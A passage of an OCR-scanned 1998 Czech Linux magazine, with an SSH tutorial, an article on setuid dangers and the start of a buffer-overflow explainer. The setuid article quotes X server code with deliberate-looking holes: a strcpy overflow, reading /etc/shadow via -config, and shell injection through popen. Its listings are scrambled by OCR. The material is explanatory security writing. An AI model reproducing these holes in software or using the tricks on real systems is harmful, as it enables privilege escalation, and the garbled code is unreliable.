IP chains umoznuje i negativni pravidla (napriklad
vSechny packety, které jdou z jiného zarizeni nez
pppO).

Je mozno filtrovat i fragmenty IP packetu.

Lze specifikovat i interval porti (tedy napiiklad jed-
nim pravidlem vybrat privilegované porty — 0-1023).

Odkazy: Linux Firewalling Chains Linux IP-
CHAINS-HOWTO [2)] [
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1 Linux IP Firewalling Chains
http://www.adelaide.net.au/"rustcorp/ipfwchains/

2 Linux IPCHAINS-HOWTO
http://www.adelaide.net.au/ rustcorp/ipfwchains/HOWTO. html

SSH — Secure shell

Jan Pazdziora, 7. biezna 1998

Secure shell slouzi k prihlasovani na vzdaleny pocitac po
siti a k prenosu dat. Od pocatku je stavén tak, aby umoz-
nil bezpeénou komunikaci po nedivéryhodné siti pomoci
Sifrovani a zabezpecil vzajemnou autentizaci stroju i uziva-
teld.

Moznosti jeho nasazeni

Secure shell muzeme pouzit misto programi telnet éi
rlogin k interaktivnimu pfihlaSeni na vzdaleny stroj. Pii-
tom je snadné prenaset vytvorenym kryptovanym kanilem
i X protokol spu§ténych programui pro X-Window System.
Je také mozné spustit na vzdaleném pocitaci prikaz, kte-
rému predame na standardnim vstupu data a z vystupu
prevezmeme vysledek (obdoba rsh). Program scp, Secu-
re copy, je pak bezpecnou variantou rcp. Secure shell ma
ale mnohem vice moznosti, jak zadat, co ktery uzivatel smi
provést, a dokaze napriklad i kryptované forwardovat porty
mezi stroji.

Na strojich, na jejichz bezpec¢nosti ndm opravdu zale-
71, je vhodné vSechny moznosti vzdaleného pristupu kromé
ssh zakazat, donutime tak uzivatele (véetné superuzivate-
le) pouzivat vyhradné bezpeéné spojeni.

Verze pro systémy UNIX jsou free véetné zdrojovych tex-
t pro nekomeréni pouziti (i nekomeréni pouziti v komer¢-
nich firmach). Domovska stranka ssh s distribuci je na ad-
rese((1)] na siti TEN-34 CZ je mirror na adrese|(2)| obsahuji-
ci mimo jiné i rpm baliky od Yenyi Kasprzaka. Pro systémy
7 produkce spole¢nosti Microsoft existuji komeréni verze,
vice informaci naleznete na adrese [(3)]

Stabilni distribuce v dobé psani tohoto élanku ma éislo
verze 1.2.22.

Architektura klient-server

Abychom se mohli na vzdaleny pocita¢ pomoci ssh pripo-
jit, musi na ném bézet sshd, Secure shell daemon. Ten-
to daemon prijimé pozadavky, testuje jejich opravnénost
7 hlediska identity stroje i uzivatele, a v pripadé uspéchu
vytvori kryptované spojeni pozadovaného typu. Na strané
Klientské pak potirebujeme Klienta, program ssh, kterému
parametry zadame, kam a jaké spojeni chceme vytvorit.

Kazdy stroj, na kterém bézi sshd, ma vygenerovanou
dvojici RSA Kli¢t, které ho identifikuji (/etc/ssh_host key
a /etc/ssh_host_key.pub). Pii startu daemona (typicky
Z rc skripti pii bootu systému) daemon vygeneruje jeSté
Kli¢ serveru, ktery posléze méni kazdou hodinu.

Klient, ktery zada server o spojeni, obdrzi od serve-
ru vefejny Kli¢ stroje i serveru. Verejné Klice stroji, se
kterymi jsme uz v minulosti komunikovali, jsou uklada-
ny do souboru ~/.ssh/known_hosts, pripadné spravcem
do /etc/ssh_known_hosts, a pfi kazdém dalSim pfihla-
Seni se ovéruje, zda se identifikace vzdaleného stroje ne-
zmeénila. To by mohlo znamenat, ze se nékdo snazi spo-
jeni odposlouchavat a vydava se za nami zamySleny stroj
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(man-in-the-middle attack). V naSem méné nepratelském
svété k odmitnuti spojeni z tohoto divodu dochazi typicky
po reinstalaci pocitace - feSenim pak je po ovéreni situace
odstranit verejny kli¢ vzdaleného stroje z lokalni databaze
known_hosts.

Klient po ziskani kli¢t vygeneruje 256 bitovy Kli¢ (session
key), ktery bude pouzit pro Sifrovani dalsiho spojeni syme-
trickym Sifrovacim algoritmem. Tento Kli¢ zakryptuje ve-
rejnymi Kliéi serveru a stroje, na kterém bézi server, a po-
Sle zpét. Server tedy musi nejen poslat spravny verejny kli¢
stroje pro ovéreni proti known_hosts na Kklientské strané,
musi samoziejmé znat i svij spravny tajny kli¢, aby byl
schopen Kli¢ od klienta rozsifrovat.

Poté, co Kklient véri, ze komunikuje s tim, s kym pozado-
val, je na serveru, aby ovéril, ze Klient m4 pravo se prihlasit,
pripadné provést zadanou akci.

Ssh podporuje z divodu zpétné kompatibility au-
tentizaci shodnou ¢i podobnou s rsh, pomoci soubort
/etc/hosts.equiv a .rhosts, resp. .shosts. Na§tésti se
tento zpusob da v konfiguraci daemona zakazat a je to vice
nez doporucenihodné. Pouziti ssh dava totiz uzivateli jisty
pocit bezpeci, ktery je ale pfi povoleném prihlasovani jen
na zakladé .rhosts vice nez pochybny.

Nejcastéji pouzivanou autentizaci je autentizace proto-
kolem RSA (kryptografie s vefejnym Klicem). Pii ném ser-
ver zna verejny Kli¢ uzivatele, ten je uveden v souboru
~/.ssh/authorized keys v domovském adresaii uzivate-
le na vzdaleném stroji. Kdo se chce prihlasit, musi proka-
zat, Ze zna tajny Kli¢c k tomuto vefejnému. Server na po-
zadavek ssh Klienta vrati tzv. challenge, ndhodné ¢islo za-
Sifrované verejnym klicem. Klient se pokusi ho rozsifrovat
za pouziti tajného kliée, ktery mize byt jeSté chranén do-
date¢nym heslem, passphrase. Pokud vysledek od Klienta
souhlasi, server prihlaSeni povoli a provede pozadovanou
akei — spusti interaktivni shell, provede prikaz.

Jako posledni Sance je uzivateli nabidnut prompt k za-
dani hesla; pokud ani toto neuspéje, je spojeni zruseno.

Instalujeme sshd a ssh

Pii instalaci si miZeme zvolit bud kompilaci ze zdrojo-
vych textl (./configure && make && make install)
nebo nainstalovat predkompilovanou bindrni distribuci ¢i
rpm. Obé formy instalace zajisti mj. i vygenerovani dvo-
jice Kli¢u stroje. Poté zkontrolujeme, jestli nam vyhovuje
standardni nastaveni konfigurace ssh daemona uvedené
v /etc/sshd_config, zvlasté co se tyce povolenych forem
autentizace ¢i zptsobu prihlaSovani. Pak jiz miZzeme dae-
mon spustit, nejlépe z néjakého rc skriptu.

Od této chvile muZzeme se strojem, na kKterém bézi sshd,
jiz komunikovat bezpeénym zpusobem. I kdyz totiz nema-
me povolenou RSA autentizaci, mizeme se piihlasit zada-
nim hesla.

Chceme-li vyuzit RSA autentizaci, musime na Kli-
entské strané, odkud se budeme prihlasovat, vygene-
rovat dvojici tajného a verejného Kklice. K tomu po-
uZijeme program ssh-keygen. Jsme vyzvani, abychom
zadali jméno souboru pro ulozeni tajného Klice, ve-
fejny kli¢ je wulozen vedle ného s piiponou .pub.
Pri generovani Kklice uzivatele akceptujeme nabidnuté
~/.ssh/identity. Soubor ~/.ssh/identity.pub pak
zkopirujeme do ~/.ssh/authorized_keys na strané ser-
veru a pripadné rozsifime o pozadované podminky. A nyni
jiz mizeme spustit
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ssh jméno_serveru

Odpovédi by mél byt prompt na vzdaleném stroji. Ovérit,
zda opravdu pouzivame RSA autentizaci, mizeme spusté-
nim ssh s volbou -v. Spravny vypis bude piiblizné takovy-
to:

faethon:
faethon:
faethon:
faethon:
faethon:
faethon:
faethon:

Server refused our rhosts authentication or host key.
No agent.

Trying RSA authentication with key ’adelton@faethon’
Received RSA challenge from server.

Sending response to host key RSA challenge.

Remote: RSA authentication accepted.

RSA authentication accepted by server.

Pokud se prihlasujeme na stroj, jehoz verejny Kli¢ jesté
nezname, ssh se nas zepta

Host key not found from the list of known hosts.
Are you sure you want to continue comnecting (yes/no)?

Musime odpovédét celym yes a ssh pak prida verejny
kli¢ do naSeho lokalniho seznamu known _hosts.

Secure shell daemon muZeme spustit i na stroji, na kte-
rém nemame superuzivatelska prava. Musime ho ale volbou
na prikazové radce nebo v lokalnim konfigura¢nim soubo-
ru spustit na neprivilegovaném portu a na tento port pak
smérovat Klienty.

Autorizované Kklice a ruzné identity

Pii autentizaci protokolem RSA server testuje, zda
Klient zna tajny Kkli¢é k vefejnému Klici ze souboru
~/.ssh/authorized keys. Na kazdém radku je uveden je-
den verejny Kli¢, a s nim i podminky a akce, pro které pla-
ti. MUZeme napftiklad klauzuli from omezit pfihlagovani jen
7 uréitych stroju ¢éi domén, mizeme zakazat forwardovani
portu ¢i nastavit dobu neéinnosti, po které bude spojeni
ukonc¢eno. Pomoci command specifikujeme piikaz, ktery se
pri spojeni s odpovidajicim tajnym klicem provede. Pokud
udaj command neni uveden, spusti se bud interaktivni shell,
nebo prikaz vyzadany Kklientem.

BéZny uzivatel bude mit ve svych authorized keys
pravdépodobné prevazné svoje klice pro interaktivni pri-
hlaSovéani, naproti tomu na superuzivatelsky u¢et miuzeme
chtit mit rizné omezené piistupy z rdznych stroji. Tak-
to by mohl vypadat radek, ktery dovoli vlastnikovi tajného
Klice provést backup ¢asti disku na vzdaleném stroji:

from="pinosol",command="tar czf -- /export/data" 1024 37 \
5867...spousta Eislic vefejného klite

(vSe uvedeno na jednom radku). V§Simnéme si, ze tento pri-
kaz, stazeni taru s obsahem adresare, muze provést kdoko-
li, kdo ma odpovidajici tajny kli¢, nikoli nutné superuziva-
tel. Pri spusténi ssh na klientské strané volbou -i zadame
jméno souboru se spravnym tajnym Klicem:

ssh -1 “/.ssh/backupuj root@romhexin > \
backup. ‘date +'%yhmid’ . tgz

Autorizovany Kli¢ pro stazeni ¢i zapis jednoho pevné da-
ného souboru ¢i zatarovani obsahu adresaie je korektnim
zpusobem, jak zajistit pfenos dat mezi dvéma béznymi uzi-
vateli, pokud nam nevyhovuje otevienost HTTP protokolu.
Nesdélujeme totiz cizimu ¢lovéku ani heslo, ani tajny Kkli¢
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k neomezenému piihlagovani na nas ucet, zpristupnujeme
mu pouze presné vymezena data.

Pokud mame povoleny neomezeny pristup (napriklad
RSA autentizaci na svij uéet na jiném stroji), mizeme pii-
kaz pro provedeni zadat samoziejmeé i lokalné:

ssh bromhexin ’tar c¢f -- /export/data’ > out.tar

V tomto pripadé se pouzije standardni identity.

Forwardovani protokolu X11 a portu

Pokud se prihlaSujeme z klienta s X-Window (je nastave-
na proménna prostiedi DISPLAY) a server tuto vlastnost
umoznuje, bude spojeni od X Klientu spusténych na serve-
rové strané ssh smérovano do kryptovaného kanalu a te-
prve na Klientské strané ssh predano X serveru. Proménna
DISPLAY bude na vzdalené strané ssh nastavena na vzda-
leny stroj, s ¢islem displeje vy$§im, nez na jaké jsme zvykli
(> 0). Tento displej je pravé vzdaleny konec ssh spojeni.

Doporuc¢enym zpusobem, jak spustit na vzdaleném stroji
aplikaci pro X-Window, je pouZit na prikazovém radku vol-
bu -n:

ssh -n pinosol xterm &

ktera zabrani ¢teni standardniho vstupu a dovoli spusténi
ssh na pozadi. Pokud potifebujeme pfi prihlaSovani zadat
heslo nebo passphrase, vyuzijeme volbu -f, ktera presune
ssh na pozadi, ale az po uspésné probéhnuté autentizaci
a po vytvoreni spojeni. Tak budeme mit prompt shellu na
lokalnim stroji opét k dispozici:

ssh -f pinosol xterm

Forwardovani protokolu X11 funguje v poslednich ver-
zich ssh (1.2.20 a vySe) bez vétsich problému. Ve starSich
verzich dochazelo k zatuhnuti, pokud Klient zazadal o pre-
nos velkého mnozstvi dat, tato chyba ale byla opravena.
Jediné, co v oblasti X-Window nefunguje, je forwardovani
rozsireni OpenGL/DGL spole¢nosti SGI.

Kryptovany ssh kandl muiZeme vyuZzit i pro jina data,
nasledujici priklad ukazuje, jak kryptované namountovat
Samba disk ze stroje bromhexin na stroj pinosol:

ssh -L 1234:bromhexin:139 bromhexin
smbmount //pinosol/adelton mnt -p 1234 -c pinosol

Prvni prikaz kryptované propoji Samba port 139 na vzda-
leném stroji s lokalnim portem 1234. Druhy prikaz pak na-
mountuje sluzbu dostupnou jiz na lokalnim portu.

Secure copy, ssh agent

Piikaz scp je prodlouzenim bézného cp na prenosy soubo-
ri mezi stroji: pokud pied jméno souboru uvedeme jméno
stroje a pripadné i jméno uzivatele, provede se vzdaleny ssh
prenos. scp se v pripadé potfeby zepta na heslo a umozni
i kopirovani mezi dvéma vzdalenymi pocitaci.

Abychom se vyhnuli opakovaného zadavani passphrase
napiiklad ke svému tajnému Kli¢i, miizeme pomoci progra-
mu ssh-agent a ssh-add ulozit tajné klice do paméti, a po-
sléze je vyuzit pri prihlaSovani pomoci ssh. Agenta spusti-
me napriklad pri prihlasovani do X-Window tak, aby vSech-
ny dalsi procesy byly jeho potomky. Ty pak zdédi spojeni
k nému a nasledné piikazy mohou vyuzit jeho tajnych K1i¢1.
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Protoze pri startu X-Window systému vétsinou jesSté nema-
me termindl, na kterém by se ssh-add mohl zeptat, spousti
se v takové situaci jednoducha aplikace ssh-askpass, od
niz pak ssh-add zadanou passphrase prevezme.

Distribuce verejnych Klicu

Secure shell je klient a server ur¢itého protokolu, spolu
s obsluznymi programy typu ssh-keygen. Protokol ale ne-
definuje, jakym zpusobem si organizace ¢i jednotlivci za-
jisti distribuci potiebnych veiejnych Kkli¢t ¢i backupova-
ni kli¢d tajnych. Aby ale usnadnili alespon evidenci ve-
fejnych Kli¢h, zahrnuli autofi v distribuci perlovsky skript
make-ssh-known-hosts, ktery podle zdaznamu v nameser-
veru projde vSechny stroje v doméné a pokusi se od nich
ziskat jejich verejny ssh Kli¢. Vysledek je ve formé soubo-
ru ssh_known_hosts a po jeho kontrole ho mizeme rovnou
pouzit.

Na co dat pozor

Pii prihlaSovani pomoci ssh je potireba mit na paméti, ze
retéz je tak slaby jako jeho nejslabsi ¢lanek. Ssh odstranu-
je prenos hesel v oteviené podobé, musime ho ale pouzivat
duisledné: pokud se nejprve priihldsime telnetem a tepr-
ve dale pomoci ssh, jde po ¢asti sité oteviené nejen heslo
k prvnimu telnetu, ale i vSechna piipadna dalsi.

Dilezité soubory

[usr/local/bin/ssh, ssh-keygen, ssh-agent, ssh-add, Klient,
generovani kli¢d, ssh agent

letc/ssh_config, ~/.ssh/config, ~/.ssh/identity,
“/.sshlidentity.pub, “/.ssh/authorized_keys Standardni
konfiguraéni soubor Klienta, jeho lokalni konfigurac¢ni
soubor, standardni identita uzivatele (tajny a verejny
Kkli¢), seznam autorizovanych kli¢d

fusr/local/sbin/sshd, [etc/sshd_config, /etc/ssh_host key,
/etc/ssh_host_key.pub Daemon, jeho konfigura¢ni
soubor, tajny a verejny kli¢ stroje

Konfiguraéni soubory mohou byt na vasi lokalni instalaci
uloZeny misto adresaie /etc v /etc/ssh.

Zaver

Ukazali jsme, jak zacit pouzivat secure shell pro bezpec¢néj-
§i komunikaci po pocitacové siti. Nastinili jsme jeho filoso-
fii a uvedli nékolik pfikladd. Uzivatelé najdou podrobné;jsi
informace v manuélové strance ssh(1), spravei by si mé-
li pre¢ist sshd(8) a samoziejmé i relevantni dokumentaci
odtamtud odkazovanou.

Casto kladené dotazy naleznete na adrese [@)]a o bu-
doucnosti ssh i netrivialnich aplikacich je newsova skupi-
na comp.security.ssh.

Za pripominky a doplnéni dékuji Petru Machackovi a Pe-
tru Kolarovi. [ |



Linuxové noviny

Brezen 1998

1 Domovska stranka Secure shellu
http://www.cs.hut.fi/ssh

2 Zrcadlo ssh na siti TEN-34 CZ
http://www.fi.muni.cz/ftp/pub/ssh

3 Secure shell pro Windows
http://www.datafellows. com/

4 Secure shell FAQ
http://www.uni-karlsruhe.de/"1g26/ssh-faq/

S-bit - Zivotu nebezpecéno
Pavel Kankovsky, 3. biezna 1998

Mnoho systémovych programi v UNIXovém operaénim
systému — Linux nevyjimaje — potiebuje pro svij béh zvlast-
ni privilegia. Prikladem budiz program passwd, ktery mu-
si byt schopen zapisovat do souboru /etc/passwd resp.
/etc/shadow, aniz by k tomu byl opravnén sam uzivatel
(z pochopitelnych divodid). Nejéastéji pouzivanym mecha-
nismem, ktery toto umoznuje, je tzv. propijceni identifika-
ce.

U programu, jehoZ spustitelny soubor ma nastaveny
aspon jeden z s-biti, napriklad takto:
bin

-r-sr-xr-x 1 root 15796 /usr/bin/passwd

dojde po jeho spusténi systémovym volanim execve () k to-
mu, ze efektivni vlastnik, efektivni skupina, pfipadné oboje
- podle toho, zda je v pristupovych pravech nastaven setuid
bit (04000), setgid bit (02000), nebo oba dva - jsou nasta-
veny na hodnoty uréené uzivatelem resp. skupinou vlast-
nici soubor. (Mnozina doplinkovych skupin (supplemental
groups) je vzdy ponechana beze zmény.) Program pak pra-
cuje se stejnymi opravnénimi, jako kdyby byl spustén svym
vlastnikem resp. uzivatelem v dané skupiné.

Proc je to nebezpecné?

VySe popsany mechanismus neni prost rizik. Musi byt za-
jisténo, aby zvlastni privilegia pridélena programu nemoh-
la byt zneuzita. Cast odpovédnosti lezi na samotném jadie
systému, které musi mj. zabranit jeho trasovani nebo ¢teni
jeho pamétového prostoru (kde se mohou nachazet duveér-
na data) ze strany skute¢ného vlastnika, ovSem prevazna
¢ast spociva na bedrech samotného programu (a také jim
pouzivanych knihovnach).

Privilegovany proces musi peclivé kontrolovat prostiedi,
ve kterém je spustén, a vstupy, které jsou mu uzivatelem
predkladany. Nane§tésti mnoho programu (¢i spise jejich
autortil) toto podcenuje a vysledkem jsou zdvazné bezpec-
nostni problémy, které jsou jeSté umocnény tim, ze velka
¢ast takovych programu pracuje rovnou s nejvys$Simi moz-
nymi privilegii — s pravy superuzivatele.

K nejcastéjSim chybam, které maji za nasledek bezpec-
nostni problémy (a které budou detailnéji diskutovany ni-
ze) patii:

e preteceni mezi pole
e neopatrna manipulace se soubory

e neopatrné spousténi dalSich programu
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Odstrasujici priklad - Xserver

Jak si asi mnozi, ktefi maji na svém Linuxu nainstalova-
ny balik XFree86, v§imli, Xserver bézi s pravy superuziva-
tele. Je tomu tak, aby mu bylo dovoleno pristupovat pri-
mo ke grafickému hardware, k jehoz ovladani neposkytu-
je standardni linuxové jadro prakticky zZadnou podporu.
OvsSem Xserver je velmi komplikovany program a vysky-
tuji se v ném (nyni bude fe¢ o aktualni verzi 3.3.1 zalozené
na X11R6.3) ruzné problémy, dokonce ze vech tii vyse vy-
jmenovanych kategorii. Jedna se o nasledek toho, ze kéd
Xserveru (a do jisté miry to plati o celém X11) byl vétsi-
nou navrhovan a implementovan, aniz byl kladen dosta-
te¢ny diraz na jeho bezpec¢nost. Svou roli zde nepochybné
hraje velky rozsah a slozitost kédu, stejné jako jeho znac¢na
rdznorodost.

Preteceni mezi pole

Toto je snad nejfrekventovanéjsi chyba vyskytujici se v céc-
kovych programech vibec. Ponékud prekvapivé se vsak
chyba vyskytuje mnohem c¢astéji nepiimo - pri pouziti
nékterych funkei standardni knihovny. Zvlasté se jedna
o funkce sprintf (), strcpy() a strcat (), které neumoz-
nuji explicitné stanovit velikost pole, do kterého je ukladan
vysledek, a bezstarostné zapisuji za jeho konec. (Coz ve-
de k otazce, zda je celkova koncepce standardni knihovny
vhodn4.) Podrobnéji k této problematice v ¢lanku [m#Pie-
teceni bufferu.

Pomoci vhodné sestrojenych vstupnich dat pak muze zly
uzivatel prepsat navratovou adresu na zasobniku nebo ji-
né dilezité idaje a donutit program k vykonéni prakticky
libovolnych akci — napt. ke spusténi privilegovaného shellu.
Detailni popis pfinasi napfiklad [(D]

Priklad (xc/programs/Xserver/os/access.c) je navy-
pisu [m|Nespravné meze poli.

void

ResetHosts (display)
char *display;

{

register HOST *host;

char lhostname[120], ohostname[120];
char *hostname = ohostname;

char fname[100];

strcpy (fname, "/etc/X");
strcat (fname, display);
strcat (fname, ".hosts");
if (fd = fopen (fname, "r"))

Vypis 3: Nespravné meze poli

Uzivatel muze pii spusténi Xserveru specifikovat libo-
volny (i nesmyslny a hlavné libovolné dlouhy) nazev dis-
playe pomoci parametru uvozeného dvojtec¢kou. Tato hod-
nota je predana do funkce ResetHosts (), ktera ji pouziva
pro konstrukei jména souboru. Avsak prili§ dlouha hodnota
zpusobi prete¢eni mezi pole fname.


http://www.cs.hut.fi/ssh
http://www.fi.muni.cz/ftp/pub/ssh
http://www.datafellows.com/
http://www.uni-karlsruhe.de/~ig25/ssh-faq/
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Neopatrna manipulace se soubory

VétSina programu pracuje néjakym zpusobem se souboro-
vym systémem. Pokud program neprovadi dostateéné kon-
troly jmen soubori nebo jinych uzivatelem poskytnutych
dat, z nichZ jsou jména souboru konstruovéana, lze snad-
no ziskat neopravnény pristup k souborim, systémovym
zv1aste.

Piiklad (xc/programs/Xserver/os/utils.c) je na vy-
pisu m¥Piiklad nespravného zachézeni se souborem.

v oblastech pristupnych uzivateli - zvlasté v adresaii /tmp,
ale i v domovském adresari uzivatele, v aktualnim adresari
apod. Zly uzivatel mize vytvoienim (sym)linkd nebo pie-
jmenovavanim souboru lehce presvédéit naivné implemen-
tovany program, aby pracoval s Uplné jinym souborem, nez
zamyslel. Bohuzel tomu opét napomaha standardni knihov-
na - konkrétné funkce mktemp() a tmpnam(). V pfipadé
Xserveru lze problém tohoto typu demonstrovat na pra-
ci s adresafem /tmp/.X11-unix, i kdyz konkrétni povaha
téchto rizik ponékud vybocuje ze zaméreni tohoto élanku.

static void
suffix_argc, suffix_argv)

int *resargc;

{

struct stat  st;

FILE *f;

char *p;

char *q;

int insert_argc;
char xbuf ;

int len;

int i;

);

f = fopen(filename,

} /* end InsertFileIntoCommandLine */

}

} /* end ExpandCommandLine */

InsertFileIntoCommandLine(resargc, resargv, prefix_argc, prefix_argv, filename,\

void
ExpandCommandLine (pargc, pargv)
int *pargc;
char **xpargv;
{
int i;
for (1 = 1; 1 < *pargc; itt)
{
if ( (0 == strcmp((xpargv) [i], "-config")) && (i < (*pargc -- 1)) )
{
InsertFileIntoCommandLine (pargc, pargv,
i, *pargv,
(*pargv) [i+1], /* filename */
*pargc -- 1 - 2, *pargv +
==
}

i+2);

Vypis 4: Priklad nespravného zachazeni se souborem

Funkce ExpandCommandLine() interpretuje parametr
-config tak, Ze naéte obsah specifikovaného souboru a pri-
da ho k parametrim zadanym na piikazové radce. Nicmé-
né vubec nekontroluje, zda je dany soubor uzivateli, ktery
Xserver spustil, pristupny pro ¢teni. Napriklad, pokud zly
uzivatel zad4 soubor /etc/shadow, dostane se mu chybo-
vého hlaseni typu:

Unrecognized option: root:BFLMpsvzABCD:12345

a muze zacit lustit superuzivatelovo heslo.
Zvlastni kapitolu predstavuji do¢asné soubory vytvarené

Neopatrné spousténi dalSich programu

Prilezitostné potrebuje jeden program vyuzit sluzeb jiného
programu. Pokud prvni program bézi se zvlastnimi privi-
legii, pak jsou casto tato privilegia prenasena i na progra-
my z néj spusténé. To pak znamend, Ze se na jedné strané
nabizi moznost vyuzit (¢i spiSe zneuzit) nedostatkd jiné-
ho programu, na druhé strané pak moznost primo donu-
tit privilegovany proces k spusténi libovolného programu
dodaného zlym uzivatelem (sem lze zaradit pouziti dyna-
micky linkované knihovny podle prani uzivatele). Xserver
vykazuje vzacnou kombinaci obou problémd, jak uvidime
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v prikladu.
Pfiklad (xc/programs/Xserver/xkb/ddxLoad.c) je na
vypisu M]Neopatrné spousténi dalsich programdi.

napiiklad znamen4, Ze ty ¢asti programu, které zvlastni pri-
vilegia vyzaduji, je vhodné separovat do malych samostat-
nych programid s presné definovanym rozhranim, jejichz

it (XkbBaseDirectory!=NULL) {
sprintf (buf,

XkbBaseDirectory,
XkbBaseDirectory,
PRE_ERROR_MSG, ERROR_PREFIX,POST_ERROR_MSG1,
xkm_output_dir,keymap) ;

else {

}

out= popen(buf,"w");

Bool

XkbDDXCompileKeymapByNames (XkbDescPtr xkb,
XkbComponentNamesPtr ~ names,
unsigned want,
unsigned need,
char x nameRtrn,
int nameRtrnlen)

{

"Ys/xkbcomp -w %d -Riis -xkm -- -eml %s -emp s -eml %s \"Vsks.xkm\"",

((xkbDebugFlags<2)?1: ((xkbDebugFlags>10)?10: xkbDebugFlags)),

Vypis 5: Neopatrné spousténi dalSich programu

Proménna XkbBaseDirectory obsahuje bud implicitni
hodnotu (/usr/1ib/X11/xkb), nebo hodnotu specifikova-
nou pomoci parametru -xkbdir. (Z tohoto diivodu mi neni
zcela jasny vyznam testu na nulovou hodnotu, ale to po-
nechme stranou.) Uzivatel ma nyni dvé moznosti jak tento
parametr zneuzit: jednak muize vytvorit libovolny program
pod jménem xkbcomp a predat jméno adresare, ve kterém
se nachazi, nebo muize vyuzit faktu, ze funkce popen () zpu-
sobi spusténi shellu, a zadat hodnotu, ktera obsahuje zna-
ky majici pro shell zvlastni vyznam (napr. mezery, obracené
apostrofy aj.).

Vychodiska z nouze

Rozsahlé a tézko provéritelné programy (jako zminény
Xserver) nemély byt nikdy spoustény se zvlastnimi privile-
gii. Principialné vzato by tézko provéritelné programy ne-
mély viibec vznikat. Casto pouzivané bezpeénostni obalky
(wrappers) a podobna opatieni jsou pouze napravou na-
sledku, nikoli pfi¢in, které spoéivaji v Spatné konstrukci
samotnych programd, i kdyz za urcitych okolnosti mohou
mit své vyhody. Navod ke spravné konstrukei bezpeénych
programu lze hledat ve dvou ,zakladnich bezpec¢nostnich
pravidlech®, ktera zni:

¢ Nikdy nikomu nevér.

e Co neni dovoleno, je zakazano.

Prvni pravidlo rika, ze v programu nesmi byt chyby, ale
navrzen musi byt s ohledem na to, Ze tam chyby budou. To
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spravnou funkci bude mozno ovérit - idedlné formalnim
dikazem.

Druhé pravidlo pak doporuéuje, aby kazdy program mél
pridélena pouze ta privilegia, ktera ke své praci potiebuje
a pokud mozno zadna jina. To bohuzel ¢asto narazi na ome-
zeni operac¢niho systému - zvlasté v UNIXovém svéte (Li-
nux opét nevyjimaje), kde vladne silna dichotomie: vSe (su-
peruzivatel) nebo nic (ostatni uzivatelé). Neni-li mozno do-
state¢né jemné rozliSovat privilegia, dochazi k tomu, ze jsou
pridélovana §ir§i opravnéni, nez je zapotiebi, a otevira se
prostor pro jejich zneuziti. Jedingm skuteé¢nym reSenim to-
hoto problému je upravit operacni systém tak, aby pro-
gramy nemusely mit vétsi opravnéni nez je nutno. Kom-
plexnéj§i projekty jako LinuxPrivs [(2)] (implementace pri-
vilegii podle POSIX.1le) jsou vykroceni spravnym smeérem,
ale existuji i ¢asteéna Fedeni, jako naptiklad patch[(3)] kte-
ry mj. eliminuje dosti nesmyslnou (v dnesni dobé) potiebu
superuzivatelskych prav pro nékteré sitové sluzby.

Ponékud paradoxni je, ze popisovana opatieni (pomine-
me-li obecné doporuceni, ze v programech nemaji byt chy-
by) nejsou prili§ vhodna pro nas Xserver. Ten totiz ve sku-
teénosti zadna specialni privilegia nepotirebuje, pouze mu-
si byt schopen ovladat graficky hardware. Staci, aby pro to
byla v jadie dostateéna podpora - jako ji poskytuje napii-
klad GGI [(@)]
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Zaver

Tento ¢lanek popisuje pouze malou éast z rozsahlého reper-
toaru moznych rizik: zminované problémy (nebo problémy
jim podobné) mohou vznikat (a bohuzel také vznikaji) v§u-
de, kde dochazi k interakei mezi procesy pracujicimi s raz-
nymi opravnénimi, at uz jsou to diskutované programy vyu-
zivajici mechanismus propuj¢eni identifikace, programy ko-
munikujici po siti (na serverové i na klientské strané), nebo
dokonce uzivatelské aplikace, jsou-li jim predlozeny vstu-
py pochazejici z potencidlné nedivéryhodného zdroje. Pro-
to nelze nez doporucit, aby tvirce libovolného programu
zvazil pii jeho navrhu a implementaci mozna bezpec¢nostni
rizika a snazil se je Uiplné eliminovat, nebo alespon maxi-
malné omezit. [ |

1 Buffer Overflow problem
http://waw-miaif .ibp.fr/willy/security/
2 LinuxPrivs
http://www.kernel.org/pub/linux/1ibs/security/linux-privs/
3 Bezpecnostni patch
http://www.phrack. com/52/P52-06
4 Projekt GGI
http://www.ggi-project.org/

Preteceni bufferu
David Rohleder, 3. bfezna 1998

Preteceni bufferu je jednou z nejéastéjsSich bezpecnost-
nich dér v programech UNIXovych systému.

Programovaci jazyky, které umoznuji rekurzivni volani
podprogramu (podprogram je rekurzivni, jestlize jeho no-
va aktivace muze zaéit jeSté pied tim, nez se ukonci jeho
predchozi aktivace) musi pro jejich volani pouzivat néjakou
dynamickou strukturu, ktera udrzuje informace potiebné
k uspésSnému navratu z podprogramu. K tomuto ucelu se
pouziva zasobnik.

Oblasti

Nejdrive si musime vysvétlit, jak je proces organizovan v pa-
méti. Proces je rozdélen na tii hlavni oblasti: text, data a za-
sobnik.

o Textova oblast obsahuje kéd programu a data urce-
na pouze pro ¢teni. Tato oblast je v paméti oznacena
pouze pro ¢teni a neni mozno do ni zapisovat. Pokus
0 zapis vyvola poruseni ochrany paméti. V Linuxu pro-
to neni mozné psat samomodifikujici se programy (no
jo, kecam :-).

Datova oblast obsahuje inicializovana a neinicializo-
vana data. Obsahuje vSechny globalni proménné a dy-
namicky alokované proménné. S velikosti datové ob-
lasti je mozné manipulovat pomoci volani brk(2)
a sbrk(2).

Zasobnik slouzi predev§im k ulozeni lokalnich pro-
ménnych a predavani parametrd funkcim. Mezi bss
a zasobnik se jeSté mapuji sdilené knihovny a véci,
které 1ze mapovat pomoci mmap (2).
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env strings

argv strings

env pointers

argv pointers

arge

zasobnik l

heap T

bss
data
text

0x00000000

Obrazek 6: Pamét pii startu programu

Prace se zasobnikem

Zasobnikova oblast je souvisly blok paméti obsahujici da-
ta. Na vrchol zasobniku ukazuje (u procesoru Intel) registr
SP. Dno zasobniku je na pevné adrese. Procesor pouziva pro
manipulaci se zasobnikem dveé instrukce: PUSH pro uklada-
ni a POP pro vybirani dat ze zasobniku. Zasobnik v zavis-
losti na typu procesoru roste bud smérem k niz$im nebo
k vy$8im adresam. U procesoru Intel, SPARC a MIPS roste
zasobnik smérem k niz§im adresam.

Zasobnik pouzivaji programy k volani svych podprogra-
mu, predavani parametrt a ukladani lokalnich promén-
nych. Na zasobniku jsou ulozeny ve formé tzv. aktivaéniho
zdznamu AZ. Pii implementaci pridélovani paméti byva je-
den registr vyhrazen jako ukazatel na zacatek aktualniho
aktivaéniho zaznamu. Vzhledem k tomuto registru se pak
pocitaji adresy datovych objektt umisténych v aktiva¢nim
zaznamu. U procesoru Intel se pouziva registr BP (Base
Pointer). Naplnéni tohoto registru a pridéleni nového akti-
